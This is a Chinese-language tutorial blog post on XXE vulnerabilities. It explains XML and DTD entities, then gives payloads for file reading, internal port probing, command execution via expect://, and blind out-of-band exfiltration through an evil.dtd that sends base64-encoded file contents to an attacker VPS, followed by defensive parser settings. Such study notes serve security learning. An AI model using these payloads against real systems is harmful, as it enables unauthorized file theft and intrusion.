外部实体注入XXE漏洞

XXE漏洞

内容为笔记整理,如有侵权,联系删除

XXE漏洞之简介

XML基础

eXtensible Markup Language:可拓展标记语言XML

HTML:超文本传输语言,与html不同,HTML只能使用固定标签,而XXE可以使用自己定义的标签

用途

  • 配置文件:层次分明结构清晰,自带校验,拓展方便
    在这里插入图片描述

  • 交换数据,用来通信
    在这里插入图片描述

内容

<?xml version="1.0" encoding="UTF-8?>          //声明
<TranInfo>              //XML根元素
	<CdtrInf>                //XML子元素
        <Id>6226097558881666</Id>
    </CdtrInf>
	<Nm>张三</Nm>
	<DbtrInf>
        <Id>6222083803003983</Id>
        <Nm>李四</Nm>
	</DbtrInf>
	<Amt>1000</Amt>
</TranInfo>

格式要求

  • XML文档必须有根元素
  • XML文档必须有关闭标签,成对出现的;
  • XML标签对大小写敏感
  • XML元素必须被正确的嵌套
  • XML属性必须加引号,属性在标签内

格式校验

DTD(Document Type Definition) :文档类型定义,可以是独立文件,也可以在内部声明

<!DOCTYPETranInfo[             //声明和根元素
<!ELEMENT TranInfo(CdtrInf,DbtrInf,Amt)>
<!ELEMENT CdtrInf(Id,Nm)>
<!ELEMENT DbtrInf(Id,Nm)>
]>

ELEMENT:元素,一一对应,格式不符合就会报错

也可以定义实体(ENTITY),有内部实体和外部实体之分

内部实体

定义:

<?xml version="1.0" oding="UTF-8"?>
<!DOCTYPEname[
<!ELEMENT name ANY>
<!ENTITY RWEB "NB" >]>   /定义了一个内容 NB,名称为RWEB的内部实体

引用:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name[
<!ELEMENT name ANY>
<!ENTITY RWEB "NB" >]> 
<people>
    <name>xgren</name>
    <area>&RWEB;</area>
</people>

效果:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name>
<people>
    <name>xgren</name>
    <area>NB</area>
</people>

好处是在一个地方定义后可以在多个地方引用

外部实体

<?xml version="1.encoding="UTF-8"?>
<!DOCTYPE name[
<!ELEMENT name ANY>
<!ENTITY XXE SYSTEM "file:///D:/test/test.dtd" >]> 
<people>
    <name>xgren</name>
    <area>&xxe;</area>
</people>

可以使用SYSTEM或PUBLIC两个关键字,SYSTEM是引用本地计算机,PUBLIC是引用外部计算机;

浏览器显示不出来,引用高版本浏览器默认禁用外部实体

读文件可以用到的协议

协议使用方式
filefile:///etc//passwd
phpphp://filter/read=convert.base64- encode/resource=index.php
httphttp//:wuya.com/evil.dtd

不同语言支持的协议不同

Libxml2PHPJava.NET
file;http;ftpfile;http;ftp;php;compress.zlib;compress.bzip2;data;glob;pharfile;http;https;ftp;jar;netdoc;mailto;gopher *file;http;https;ftp

php支持更多的协议可以安装一些拓展

完整的xml文档内容

<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?>

<!-- 第二部分: 文档类型定义 DTD -->
<!DOCTYPE note[
<!--外部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">

<!-- 第三部分:文档元素 -->
<note>
    <to>Dave</to>
    <from>GiGi</from>
    <head>Reminder</head>
	<body>fish together</body>
	<area>&entity-name;</area>
</note>

XXE漏洞之定义

一句话:利用外部实体引用来执行恶意操作

如果Web应用的脚本代码没有限制XML引入外部实体,从而导致用户可以插入一个外部实体,并且其中的内容会被服务器端执行,插入的代码可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

php高版本默认禁用外部实体

XXE漏洞之危害

  • 任意文件读取

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE note[
    <!ENTITY xxe SYSTEM "file:///D:/test/test.dtd" >]> 
        <login>&xxe;</login>
    
  • 内网端口探测

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE note[
    <!ENTITY xxe SYSTEM "http://127.0.0.1:3306" >]> 
        <login>&xxe;</login>
    

    没反应说明开启,报错说明未开启

  • 执行系统命令

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE note[
    <!ENTITY xxe SYSTEM "expect://ipconfig" >]> 
        <login>&xxe;</login>
    

    需要安装expect拓展

  • 执行脚本,占用内存,使服务器崩溃等

XXE漏洞之挖掘漏洞

  1. 确定使用XML传输数据(抓包可得)

  2. 发送到Repeater

  3. 添加DTD,引用外部问文档

    添加外部实体并引用

    <?xml version="1 encoding="UTF-8"?>
    <!DOCTYPE a[
    <!ENTITY xxe SYSTEM "file:///C:Windows/system.ini" >]> 
    <username> &xxe; </username>
    
  4. Send得到响应

无回显

使用DNSlog:www.dnslog.cn;获取get一个子域名并复制

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % remote SYSTEM "http://子域名.dnslog.cn">%remote;]>

盲打

可以部署在自己的vps上一个dtd文档,evil.dtd内容如下

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.142.135:8080?p=%file;'>">

然后在xml中连接该文档就可以了

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % remote SYSTEM "http://eg.com/evil.dtd">%remote;]>
<root>&send;</root>

XXE漏洞之防御

禁用实体解析

php

libxml_disable_entity_loader(ture)   //关键代码

Java

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.Net

XmlDocument doc= new XmlDocument();
doc.XmlDocument = null;   //关键代码

ASP

Set xmldom = Server.CreateObject("MSXML2.DOMDocument")
xmldom.resolveExternals = false

python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤输入字段以防止外部实体引用

'

"

''

""

<

\>

]]>

]]>>

<!--/-->

/-->

-->

<!-- 

<!

<! [CDATA[/]]>

使用waf

直接上waf直接过滤

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值